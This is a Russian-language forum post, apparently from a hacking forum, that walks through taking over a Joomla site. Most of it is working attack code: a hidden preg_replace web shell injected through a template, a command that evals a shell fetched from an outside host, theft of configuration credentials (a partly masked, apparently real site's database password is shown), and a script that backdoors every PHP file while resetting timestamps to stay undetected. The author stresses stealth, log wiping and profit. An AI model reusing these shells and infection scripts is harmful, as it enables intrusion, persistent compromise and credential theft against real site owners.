Приветствую Граждане\Товарищи!
Это будет что-то вроде продолжение этого "Joomla не много WAF(куча барахла) SQL Injection" поста, так сказать вторая серия из не много серийного сериала про\о Joomla.
В этой серии мы поговорим о том как:
Вот только не надо шкодничать и пакостить, это подло и не уважительно прежде всего по отношению к себе, да и какой смысл поганить чужой труд? Как будто в песочнице весь день "Маша" лепила калачик из песка, но тут пришёл "Вася", нашёл кошачью какашку в этом песке, пока "Маша" не видит попытался вставить в этот калачик и развалил этот песочный калачик.
"Вася" моет руки ощущая запах какашки на своих пальцах и жжение на своей пятой точке от мамкиной руки, а "Маша" плачет пытаясь сделать\восстановить свой калачик.
А ведь "Вася" мог взять палочку, аккуратно проковырять дырочку в этом калачике и этой же палочкой вставить эту какашку! "Маша" бы ни чего не заметила и продолжила бы играться с этим калачиком, даже и не подозревая о вставленной каке, а "Вася" бы улыбался наблюдая за этой "Машей" и её калачиком с сюрпризом, при этом не надо было бы мыть руки и не горела бы пятая точка.
Может быть не совсем удачная аллегория, но смысл примерно тот же, только в нашем случае мы можем не только тихо, молча улыбаться, но ещё и иметь какую либо выгоду для себя!
В общем Важно всё сделать тихо и не заметно для владельца ресурса, так чтобы он (и не только) даже и не подозревал что кто-то и что-то сделал с его калачиком.
Ну, понеслась....
Внедрение PHP кода в joomla
По умолчанию у Joomla вход в административную панель находится по адресу(Но попадаются "полу-прошаренные" владельцы ресурса которые переписывают путь к этой панели):
Авторизуемся при помощи имеющихся данных администратора и первым делом идём за информацией, ведь не даром говорят "Кто владеет информацией, тот владеет миром!":
Главное меню -> Системная информация:
Переходим на вкладку с PHP настройками и проверяем состояние функции загрузки файлов:
У нас всё good (но бывает и не good), переходим на вкладку:
Тут как видно все директории доступны для записи.
В принципе на данном этапе это всё что нам необходимо знать, всё остальное мы получим из наиболее достоверного источника, а именно из файла настройки "configuration.php".
Самый простой способ добавить свой PHP код в Joomla, это поправить какой-нибудь доступный для редактирования файл шаблона, лучше конечно редактировать какой-нибудь файл ошибки, но бывают случаи когда такая роскошь не доступна и приходится брать то что есть.
Идём редактировать шаблон:
Ищем текущий шаблон:
И вот оно то самое окошечко в нашу "Европу" через которое мы будем добавлять свой PHP код.
Так как это главная страница и нам не известно кто там шастает по сайту в этот самый ответственный момент, необходим выполнять свои действия как можно скрытней для всех посетителей и пользователей ресурса, дабы не спалиться.
Для этого опускаемся в самый низ страницы, поближе к блоку с копирайтами и после последнего
Прям в блок с копирайтом вставим строчку php кода, тыкнем кнопочку "Save" и посмотрим как он будет отвечать:
И в самом низу страницы в копирайтах видим новую строку:
Отлично наш код выполняется и не вызывает ни каких ошибок!
Давайте напишем не большой PHP код который создаст отдельный файл на этом хосте и запишет туда наш php код, это и будет наш мини Shell.
Как я уже говорил Perl я не знаю, но это PHP, это не Perl! Так вот PHP я тоже не знаю, хотя и довольно часто его использую для написания различных скриптов которые в основном выполняются на сервере. Ребята учить языки в процессе написания кода самое интересное и полезное дело, правда не всегда получается писать правильный код, в основном это обычно портяночный псевдокод, но за то в процессе обучения этот код постоянно модифицируется.
Этот скрипт создаст наш мини shell в директории "/plugins/content/" и именем "JoomSysShell.php", ну и соответственно впишет в него код, после всех этих плясок наш мини shell будет доступен по адресу:
В панели управления клацаем кнопку "Save", переходим и проверяем его работоспособность:
Отлично! У нас есть свой личный пускай и мини, но шел! Основная задача нашего топика Выполнена и можно(смело) идти ложиться спать, однако вместо этого отправлюсь на кухню, сварю себе кофейку, вернусь и мы продолжим.
Ну что кофеёк бодрящий выпит, мы же не много встряхнулись\взбодрились и готовы продолжить.
Чтение конфигурационного файла joomla(configuration.php)
Читать этот файл мы будет с помощью нашего мини шела, вообще этот шел позволяет выполнять код PHP, а значить мы можем выполнять и системные команды, но сейчас речь не об этом. Самый просто способ чтения PHP файла ( на мой взгляд ) это его копирования (в другую удобную для нас директорию) с другим расширением, к примеру txt и уже последующие чтение как обычного txt файла (в адресную строку вбиваем):
Функцией "copy()" мы скопировали из корневой директории("$_SERVER['DOCUMENT_ROOT']") ресурса файл '/configuration.php' в ту же директорию где находится наш мини шел (getcwd()), но с другим именем и расширением ('/1.txt'), что по сути даёт нам право просматривать этот файл через наш браузер как обычный текстовый файл!
И мы видим всё содержимое этого файла:
Теперь у нас есть данные для авторизации в Mysql панели
Так же есть данные от почтового (SMTP) сервера:
По идеи должны быть ещё данные авторизации для FTP сервера:
Но к сожалению здесь их нет, но в принципе это не беда, ведь у нас есть свой мини шел который позволит нам выполнить практически любую задачу.
Так же можно прочесть этот же файл( или какой-либо другой ) при помощи функций "print" и "file_get_contents"
Используя функцию "file_get_contents" мы получаем содержимое файла '/configuration.php' который располагается в корневой директории сайта, а при помощи функции "print" мы её выводим на экран. Правда в этом случае некоторая часть файла некорректно отобразится на странице, но всё будет видно через исходный код страницы, точно так же как и в случае с копированием.
После того как мы прочитали содержимое конфига, лучше удалить скопированный ранее нами файл (разумеется если вы его копировали), сделать это можно используя функцию "unlink()":
Будьте аккуратны при использовании этой функции, ибо можно и "похерить" всё это дело. Ну что давайте зальём уже полноценный Web Shell, да бы вкусить большее количество сладостной власти над чужим ресурсом!
Заливка полноценный Web Shell'a(WSO)...
Имея доступ к административной панели можно залить практически любой файл, правда по умолчанию joomla не позволяет заливать php\phtml\shtml и другие подобные файлы, но нам то всё равно, мы имеем возможность править исходный код самой Joomla и все эти псевдо-ограничения не для нас!
Заходим в административную панель и переходим Медиа менеджер
Как видим у нас есть возможность залить файл в директорию "/images/", в принципе так и сделаем. Берём любой php shell который нам нравится (в принципе меня вполне устраивает и WSO) и меняем его расширение на txt, далее опускаемся ниже:
Тычем кнопку "Browse...", выбираем наш файл и тычем кнопку "Start Upload"
Всё прекрасно, теперь у нас есть несколько вариантов его юзанья, первый мы можем его так и оставить в этой директории, с этим расширением (тем самым подвергая его большёму риску быть обнаруженным и удалённым) и юзать его через наш мини шел используя функцию eval, или passthru:
Правда в этом случае необходимо будет удалить теги php "", да по большёму счету в этом случае его можно и во все не заливать на этот сервер, а использовать с другого хостинга.
Или же переместить и переименовать этот файл используя функцию PHP rename() или более универсальную связку функций copy() and unlink()(Функция rename() в Unix системах не способна перемещать файлы, так что использовать copy() будет более универсальным решением.)
Всё это сделать мы можем сделать через административную панель внедрив свой код, или же через наш мини шел.
Использовать точно так же как и на первом этапе этого топика, shell будет доступен по адресу:
Либо через наш мини шел ускорить весь процесс:
И удаляем загруженный ранее через панель файл:
Имея свой мини шел на борту хоста можно обойтись и без панели, ибо зачем нам там лишний раз ковыряться, у нас есть прямой доступ интерпретатору PHP и частично к самой системе борта.
И тут всё очень просто! Тут опять-таки несколько вариантов, все расписывать не буду (ибо пост и так довольно содержательный), самый быстрый и самый простой это написать HTML документ и через него методом POST отправить необходимый файл:
Параметр "action" содержит прямую ссылку с PHP кодом который будет выполняться на стороне сервера, то есть при нажатии на кнопку "Upload" методом POST мы обратимся к нашему мини шелу с командой принять и переместить файл в указанном месте:
В данном случае это:
То есть наш свежи залитый шел будет доступен по адресу:
Думаю на данном этапе этого даже более чем достаточно.
Перед следующим этапом не помешает сделать BackUp всех файлов и БД в придачу. По сути нам просто необходимо создать архив в котором будут находиться все файлы сайта и база MYSQL.
С дампом БД так же как и с бэком всех файлов может разобраться shell, к примеру WSO без проблем делает дамп, так же умеет архивировать все файлы, данные для авторизации в MYSQL мы получили на втором этапе этого топика.
Сделать backup файлов\ДБ можно в помощь админу, да так что бы у нас тоже было, ну вдруг что-то пойдёт ни так... (Да ребята мы можем уничтожить ресурс, по крайней мере под какать так что нужно будет восстанавливать с backup'a созданного ранее ( если он конечно был создан).Ибо в прошлый раз писав скриптик заражения движка( а дело было в пятом часу утра), пропустил один символ(всего один лишь символ) и норвежская женская футбольная команда лишилась своего сайта, лежит этот ресурс уже третий день, когда был на хосте мне на глаза не попалось ни одного бэка, возможно сайт ушёл в полное небытиё...(С кем не бывает?)).
В нашем случае у админа есть плагин:
Думаю бэк у него есть, но для себя я все равно его сделаю и скачаю, ну так что бы был.
Для дампа БД можно использовать вот этот скрипт:
Его я честно нашёл на просторах рунета, в данный момент просто нет желания заморачиваться с писаниной дампа ( в голове вертится не много другой алгоритм), по поводу бэка файлов, можно написать небольшой скриптик:
Закинуть, перейти на него и не много подождать ( в течение пятнадцати минут архив должен быть готов, тут в принципе зависит от объёма данных.), архив создать в корне сайта, скачать можно перейдя по ссылке:
Инфицируем все php файлы находящиеся на сайте
Сейчас мы замутим скриптик который поможет нам закрепится на этом сайте, по сути он заразит кодом нашего мини шела каждый php файл на этом сайте, тем самым усложнит ситуацию для админа.Если всё сделать тихо и почистить за собой все логи, убрать все следы своего прибывания ( по крайней мере видимые ), то ни кто и не заподозрит что кто то заразил его сайт, а мы тем временем сможем получать свою выгоду используя его ресурс.
Заливаем на сайт, запускаем, записываем вывод в какой-нибудь текстовый файлик, сохраняем и улыбаемся, улыбаемся потому что теперь у нас есть доступ к этому сайту при обращении к любому файлу этого движка!
Ни забудьте удалить скрипт инфицирования с сервера ( ибо он там не нужен), а заодно теперь можно удалить и ранее залитые шелы, ибо они тоже только создают лишние подозрения.
Вывод инфицирующего скрипта можно увидеть здесь
P.S. Каюсь местами дал лишка, но прошу простить, дело было в ночное время.
Это будет что-то вроде продолжение этого "Joomla не много WAF(куча барахла) SQL Injection" поста, так сказать вторая серия из не много серийного сериала про\о Joomla.
В этой серии мы поговорим о том как:
- Внедрить свой PHP код в какой-нибудь файл Joomla и выполнить его.
- Прочитать конфиг Joomla (configuration.php).
- Залить полноценный Shell(WSO).
- Написать небольшой скриптик(php) для заражения всех файлов этого движка.
Вот только не надо шкодничать и пакостить, это подло и не уважительно прежде всего по отношению к себе, да и какой смысл поганить чужой труд? Как будто в песочнице весь день "Маша" лепила калачик из песка, но тут пришёл "Вася", нашёл кошачью какашку в этом песке, пока "Маша" не видит попытался вставить в этот калачик и развалил этот песочный калачик.
Вася сказал(а):Mama, mama, im a CRIMINAL!
Маша сказал(а):Vasya a shit has broken my sand kalatch...
Mama громко на всю песочницу сказал(а):Vasya go to wash hands, they at you in "sHit"!
"Вася" моет руки ощущая запах какашки на своих пальцах и жжение на своей пятой точке от мамкиной руки, а "Маша" плачет пытаясь сделать\восстановить свой калачик.
А ведь "Вася" мог взять палочку, аккуратно проковырять дырочку в этом калачике и этой же палочкой вставить эту какашку! "Маша" бы ни чего не заметила и продолжила бы играться с этим калачиком, даже и не подозревая о вставленной каке, а "Вася" бы улыбался наблюдая за этой "Машей" и её калачиком с сюрпризом, при этом не надо было бы мыть руки и не горела бы пятая точка.
Может быть не совсем удачная аллегория, но смысл примерно тот же, только в нашем случае мы можем не только тихо, молча улыбаться, но ещё и иметь какую либо выгоду для себя!
В общем Важно всё сделать тихо и не заметно для владельца ресурса, так чтобы он (и не только) даже и не подозревал что кто-то и что-то сделал с его калачиком.
Ну, понеслась....
Внедрение PHP кода в joomla
По умолчанию у Joomla вход в административную панель находится по адресу(Но попадаются "полу-прошаренные" владельцы ресурса которые переписывают путь к этой панели):
Код:
https://victimSite.en/administrator/index.php
Главное меню -> Системная информация:
Переходим на вкладку с PHP настройками и проверяем состояние функции загрузки файлов:
У нас всё good (но бывает и не good), переходим на вкладку:
Тут как видно все директории доступны для записи.
Код:
Directory Status
administrator/components Writable
administrator/language Writable
administrator/language/en-GB Writable
administrator/language/it-IT Writable
administrator/language/overrides Writable
administrator/manifests/files Writable
administrator/manifests/libraries Writable
administrator/manifests/packages Writable
administrator/modules Writable
administrator/templates Writable
components Writable
images Writable
images/banners Writable
images/icone Writable
images/sampledata Writable
language Writable
language/en-GB Writable
language/it-IT Writable
language/overrides Writable
libraries Writable
media Writable
modules Writable
plugins Writable
plugins/authentication Writable
plugins/captcha Writable
plugins/content Writable
plugins/editors Writable
plugins/editors-xtd Writable
plugins/extension Writable
plugins/finder Writable
plugins/jmonitoring Writable
plugins/joomlaadminmobile Writable
plugins/josetta_ext Writable
plugins/quickicon Writable
plugins/search Writable
plugins/system Writable
plugins/user Writable
plugins/xmlrpc Writable
templates Writable
configuration.php Writable
cache (Cache Directory) Writable
administrator/cache (Cache Directory) Writable
/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/logs (Log directory) Writable
/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/tmp (Temp directory) Writable
Самый простой способ добавить свой PHP код в Joomla, это поправить какой-нибудь доступный для редактирования файл шаблона, лучше конечно редактировать какой-нибудь файл ошибки, но бывают случаи когда такая роскошь не доступна и приходится брать то что есть.
Идём редактировать шаблон:
Ищем текущий шаблон:
И вот оно то самое окошечко в нашу "Европу" через которое мы будем добавлять свой PHP код.
Так как это главная страница и нам не известно кто там шастает по сайту в этот самый ответственный момент, необходим выполнять свои действия как можно скрытней для всех посетителей и пользователей ресурса, дабы не спалиться.
Для этого опускаемся в самый низ страницы, поближе к блоку с копирайтами и после последнего
PHP:
<?php endif; ?>
<div class="copyright">
<p>copyright©</p>
PHP:
<?php endif; ?>
<div class="copyright">
<p>copyright©
<?php
echo $_SERVER['DOCUMENT_ROOT'];
?></p>
Код:
<p>copyright© /var/www/club***nap**o/data/www/club***nap**oli**met**a.com</p>
Vincen***zo*Emma***nu*elCa**s**t*el**la*no
Давайте напишем не большой PHP код который создаст отдельный файл на этом хосте и запишет туда наш php код, это и будет наш мини Shell.
PHP:
<?php
// Создаём переменную $f_Jooomla_SpecLib в которой будет полный путь к нашему шелу.
$f_Jooomla_SpecLib=$_SERVER['DOCUMENT_ROOT'].'/plugins/content/JoomSysShell.php';
// Создаём переменную $Joomla_Secure_Keys_C в которой будет содержаться код нашего мини шела
// Самый простой способ это наверное использование функции eval или system, или же passthru, но по мне лучше использовать preg_replace.
$Joomla_Secure_Keys_C='<?php preg_replace(\'#joomSp#e\', $_GET[\'com_shell\'], \'joomSp\'); ?>';
// Проверяем существует ли наш файл на хосте
if (!file_exists($f_Jooomla_SpecLib)) { // если нет
// то создаём
$fwcon=fopen($f_Jooomla_SpecLib,'a+');
// вписываем в него наш код
fwrite($fwcon,$Joomla_Secure_Keys_C);
// и закрываем тем самым сохраняя его.
fclose($fwcon);
}
?>
Этот скрипт создаст наш мини shell в директории "/plugins/content/" и именем "JoomSysShell.php", ну и соответственно впишет в него код, после всех этих плясок наш мини shell будет доступен по адресу:
Ссылка скрыта от гостей
В панели управления клацаем кнопку "Save", переходим и проверяем его работоспособность:
Код:
https://victimSite.com/plugins/content/JoomSysShell.php?com_shell=passthru(whoami)
Отлично! У нас есть свой личный пускай и мини, но шел! Основная задача нашего топика Выполнена и можно(смело) идти ложиться спать, однако вместо этого отправлюсь на кухню, сварю себе кофейку, вернусь и мы продолжим.
Ну что кофеёк бодрящий выпит, мы же не много встряхнулись\взбодрились и готовы продолжить.
Чтение конфигурационного файла joomla(configuration.php)
Читать этот файл мы будет с помощью нашего мини шела, вообще этот шел позволяет выполнять код PHP, а значить мы можем выполнять и системные команды, но сейчас речь не об этом. Самый просто способ чтения PHP файла ( на мой взгляд ) это его копирования (в другую удобную для нас директорию) с другим расширением, к примеру txt и уже последующие чтение как обычного txt файла (в адресную строку вбиваем):
Код:
https://victimSite.com/plugins/content/JoomSysShell.php
?com_shell=copy($_SERVER['DOCUMENT_ROOT'].'/configuration.php', getcwd().'/1.txt')
Код:
https://victimSite.com/plugins/content/1.txt
PHP:
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'Sito fuori servizio per manutenzione.<br />
SEMPRE FORZA NAPOLIE ;) ';
public $display_offline_message = '1';
public $offline_image = 'images/Logo club email.jpg';
public $sitename = 'club***nap**oli**met**a.com';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysql';
public $host = 'localhost';
public $user = 'club***nap**o_usr';
public $password = 'w5M7p5Nfe6';
public $db = 'club***nap**o_db';
public $dbprefix = 'club_';
public $live_site = '';
public $secret = 'e7VFuJBhNeXJbqZz';
public $gzip = '0';
public $error_reporting = 'none';
public $helpurl = 'http://help.joomla.org/proxy/index.php?option=com_help&keyref=Help{major}{minor}:{keyref}';
public $ftp_host = '127.0.0.1';
public $ftp_port = '21';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailer = 'mail';
public $mailfrom = 'vi**nce**nz***oemm***anuel91@gmeil.pu';
public $fromname = 'club***nap**oli**met**a.com';
public $sendmail = '/usr/sbin/3sendmail';
public $smtpauth = '1';
public $smtpuser = 'pippo';
public $smtppass = 'pippo';
public $smtphost = '2localhost';
public $smtpsecure = 'none';
public $smtpport = '250';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $MetaDesc = '';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '0';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $log_path = '/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/logs';
public $tmp_path = '/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $MetaRights = '';
public $sitename_pagetitles = '2';
public $force_ssl = '0';
public $feed_email = 'author';
public $cookie_domain = '';
public $cookie_path = '';
public $offset_user = 'UTC';
}
PHP:
public $host = 'localhost';
public $user = 'club***nap**o_usr';
public $password = 'w5M7p5Nfe6';
public $db = 'club***nap**o_db';
PHP:
public $mailfrom = 'vi**nce**nz***oemm***anuel91@gmeil.pu';
public $fromname = 'club***nap**oli**met**a.com';
public $sendmail = '/usr/sbin/3sendmail';
public $smtpauth = '1';
public $smtpuser = 'pippo';
public $smtppass = 'pippo';
public $smtphost = '2localhost';
public $smtpsecure = 'none';
public $smtpport = '250';
PHP:
public $ftp_host = '127.0.0.1';
public $ftp_port = '21';
public $ftp_user = '';
public $ftp_pass = '';
Так же можно прочесть этот же файл( или какой-либо другой ) при помощи функций "print" и "file_get_contents"
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=print file_get_contents($_SERVER['DOCUMENT_ROOT'].'/configuration.php')
После того как мы прочитали содержимое конфига, лучше удалить скопированный ранее нами файл (разумеется если вы его копировали), сделать это можно используя функцию "unlink()":
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=unlink(getcwd().'/1.txt')
Заливка полноценный Web Shell'a(WSO)...
Имея доступ к административной панели можно залить практически любой файл, правда по умолчанию joomla не позволяет заливать php\phtml\shtml и другие подобные файлы, но нам то всё равно, мы имеем возможность править исходный код самой Joomla и все эти псевдо-ограничения не для нас!
Заходим в административную панель и переходим Медиа менеджер
Как видим у нас есть возможность залить файл в директорию "/images/", в принципе так и сделаем. Берём любой php shell который нам нравится (в принципе меня вполне устраивает и WSO) и меняем его расширение на txt, далее опускаемся ниже:
Тычем кнопку "Browse...", выбираем наш файл и тычем кнопку "Start Upload"
Всё прекрасно, теперь у нас есть несколько вариантов его юзанья, первый мы можем его так и оставить в этой директории, с этим расширением (тем самым подвергая его большёму риску быть обнаруженным и удалённым) и юзать его через наш мини шел используя функцию eval, или passthru:
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=eval(file_get_contents('/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/images/banners/ak.txt'))
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=passthru(eval(file_get_contents('http://host.nl/ak.txt')))
Всё это сделать мы можем сделать через административную панель внедрив свой код, или же через наш мини шел.
PHP:
<?php
// Копируем залитый нами txt файл с кодом шела меняя ему расширение на php
copy($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt', $_SERVER['DOCUMENT_ROOT'].'/plugins/user/shell.php');
// Удаляем залитый через панель файл
unlink($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt')
?>
Код:
https://siteVictime.en/plugins/user/shell.php
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=copy($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt', $_SERVER['DOCUMENT_ROOT'].'/plugins/user/shell.php')
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=unlink($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt')
И тут всё очень просто! Тут опять-таки несколько вариантов, все расписывать не буду (ибо пост и так довольно содержательный), самый быстрый и самый простой это написать HTML документ и через него методом POST отправить необходимый файл:
HTML:
<form action = "http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=move_uploaded_file($_FILES['nmfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/plugins/captcha/cap.php')" method = "post" enctype = 'multipart/form-data'>
<input type = "file" name = "nmfile" />
<input type = "submit" value = "Upload" />
</form>
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=move_uploaded_file($_FILES['nmfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/plugins/captcha/cap.php')
Код:
$_SERVER['DOCUMENT_ROOT'].'/plugins/captcha/cap.php'
Код:
http://club***nap**oli**met**a.com/plugins/captcha/cap.php
Перед следующим этапом не помешает сделать BackUp всех файлов и БД в придачу. По сути нам просто необходимо создать архив в котором будут находиться все файлы сайта и база MYSQL.
С дампом БД так же как и с бэком всех файлов может разобраться shell, к примеру WSO без проблем делает дамп, так же умеет архивировать все файлы, данные для авторизации в MYSQL мы получили на втором этапе этого топика.
Сделать backup файлов\ДБ можно в помощь админу, да так что бы у нас тоже было, ну вдруг что-то пойдёт ни так... (Да ребята мы можем уничтожить ресурс, по крайней мере под какать так что нужно будет восстанавливать с backup'a созданного ранее ( если он конечно был создан).Ибо в прошлый раз писав скриптик заражения движка( а дело было в пятом часу утра), пропустил один символ(всего один лишь символ) и норвежская женская футбольная команда лишилась своего сайта, лежит этот ресурс уже третий день, когда был на хосте мне на глаза не попалось ни одного бэка, возможно сайт ушёл в полное небытиё...(С кем не бывает?)).
В нашем случае у админа есть плагин:
Думаю бэк у него есть, но для себя я все равно его сделаю и скачаю, ну так что бы был.
Для дампа БД можно использовать вот этот скрипт:
PHP:
<?
$bd_host='localhost';
$bd_user='root';
$bd_pass='';
$bd_name='mydb';
$dump_dir = "temp"; // директория, куда будем сохранять резервную копию БД
$dump_name = "dump.sql"; //имя файла
$insert_records = 50; //записей в одном INSERT
$gzip = true; //упаковать файл дампа
$stream = true; //вывод файла в поток
$link = mysql_connect($bd_host, $bd_user, $bd_pass) or die( "Сервер базы данных не доступен" );
$db = mysql_select_db($bd_name) or die( "База данных не доступна" );
$res = mysql_query("SHOW TABLES") or die( "Ошибка при выполнении запроса: ".mysql_error() );
$fp = fopen( $dump_dir."/".$dump_name, "w" );
while( $table = mysql_fetch_row($res) )
{
$query="";
if ($fp)
{
$res1 = mysql_query("SHOW CREATE TABLE ".$table[0]);
$row1=mysql_fetch_row($res1);
$query="\nDROP TABLE IF EXISTS `".$table[0]."`;\n".$row1[1].";\n";
fwrite($fp, $query); $query="";
$r_ins = mysql_query('SELECT * FROM `'.$table[0].'`') or die("Ошибка при выполнении запроса: ".mysql_error());
if(mysql_num_rows($r_ins)>0){
$query_ins = "\nINSERT INTO `".$table[0]."` VALUES ";
fwrite($fp, $query_ins);
$i=1;
while( $row = mysql_fetch_row($r_ins) )
{ $query="";
foreach ( $row as $field )
{
if ( is_null($field) )$field = "NULL";
else $field = "'".mysql_escape_string( $field )."'";
if ( $query == "" ) $query = $field;
else $query = $query.', '.$field;
}
if($i>$insert_records){
$query_ins = ";\nINSERT INTO `".$table[0]."` VALUES ";
fwrite($fp, $query_ins);
$i=1;
}
if($i==1){$q="(".$query.")";}else $q=",(".$query.")";
fwrite($fp, $q); $i++;
}
fwrite($fp, ";\n");
}
}
} fclose ($fp);
if($gzip||$stream){ $data=file_get_contents($dump_dir."/".$dump_name);
$ofdot="";
if($gzip){
$data = gzencode($data, 9);
unlink($dump_dir."/".$dump_name);
$ofdot=".gz";
}
if($stream){
header('Content-Disposition: attachment; filename='.$dump_name.$ofdot);
if($gzip) header('Content-type: application/x-gzip'); else header('Content-type: text/plain');
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0,pre-check=0");
header("Pragma: public");
echo $data;
}else{
$fp = fopen($dump_dir."/".$dump_name.$ofdot, "w");
fwrite($fp, $data);
fclose($fp);
}
}
?>
PHP:
<?php
$arh =$_SERVER['DOCUMENT_ROOT'].'/ibackup.tar';
$dir = $_SERVER['DOCUMENT_ROOT'].'/';
$phar = new PharData($arh);
$phar->buildFromDirectory($dir);
?>
Код:
https://victimSite.com/ibackup.tar
Инфицируем все php файлы находящиеся на сайте
Сейчас мы замутим скриптик который поможет нам закрепится на этом сайте, по сути он заразит кодом нашего мини шела каждый php файл на этом сайте, тем самым усложнит ситуацию для админа.Если всё сделать тихо и почистить за собой все логи, убрать все следы своего прибывания ( по крайней мере видимые ), то ни кто и не заподозрит что кто то заразил его сайт, а мы тем временем сможем получать свою выгоду используя его ресурс.
PHP:
<?php
// Скрипт ищет php файлы на хосте и добавляет в каждый найденный файл строку с shell кодом
// index.php?com_***=passthru(dir)
// *.php?com_joom=passthru(whoami)
//Это функция записывающая строку шел кода в начало файла.
function wrtStrShell($flName) {
// получаем рамдомную строчку из 5 символов, дабы не много видо изменить добавляемую строчку
// и тем самым усложнить удаление этой строчки из всех файлов.
$rn_str=substr(str_shuffle(str_repeat('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',5)),0,5);
//Практически то же самое, только используется для рамдомизации параметра в запросе.
//то есть у каждого файла будет свой параметра запроса в виде index.php?com_oplkdk=eval(),error.php?com_hytrgd=eval(),configuration.php?com_3hyddx=eval() и так для каждого файла
$rn_p='com_'.substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz',7)),0,7);
// составлем наш шел код в одну строчку
$str_shell='<?php preg_replace(\'#'.$rn_str.'#e\', $_GET[\''.$rn_p.'\'], \''.$rn_str.'\'); ?>';
//получаем время последнего изменения файла
$dt_f=date ("F d Y H:i:s.",filemtime($flName));
//получаем полное содержимое файла
$current = file_get_contents($flName);
// Пишем содержимое обратно в файл, но прежде всего вставляем строчку с шел кодом
file_put_contents($flName, $str_shell."\n".$current);
//Ставим обратно время последнего изменния на то которое было получено ранее
touch($flName, $dt_f);
// возвращаем имя файла и его параметра для обращения к шел коду
return $flName.'?'.$rn_p.'=passthru(dir)';
}
// это функция рекурсивного сканирования директорий на предмет файлов подходящих заданному параметру
// в нашем случае это расширение PHP
function find_all_files($dir)
{
$root = scandir($dir);// функция scandir сканирует директорию
foreach($root as $value) // создаём рекурсию для просмотра под директорий
{
if($value === '.' || $value === '..') {continue;}
if(is_file("$dir/$value")) {$result[]="$dir/$value";continue;}
foreach(find_all_files("$dir/$value") as $value)
{
$result[]=$value;
}
}
return $result;
}
$all=find_all_files($_SERVER['DOCUMENT_ROOT']);// как обычно указываем корневую дерикторию к нашему сайту
if($all){
foreach($all as $fnm){
if (pathinfo($fnm,PATHINFO_EXTENSION)=='php'){// получаем расширение файла и проверяем его на совпадение заданному
echo '<hr><b>PHP File includin:</b><br>'; // если всё ок, то пишем строчку и передаём в функцию изминения файла
echo $fnm.'<br>'.wrtStrShell($fnm).'<br>'; // выводим полученную от нашей функции строку
}
}
}
?>
Ни забудьте удалить скрипт инфицирования с сервера ( ибо он там не нужен), а заодно теперь можно удалить и ранее залитые шелы, ибо они тоже только создают лишние подозрения.
Вывод инфицирующего скрипта можно увидеть здесь
P.S. Каюсь местами дал лишка, но прошу простить, дело было в ночное время.
Вложения
Последнее редактирование: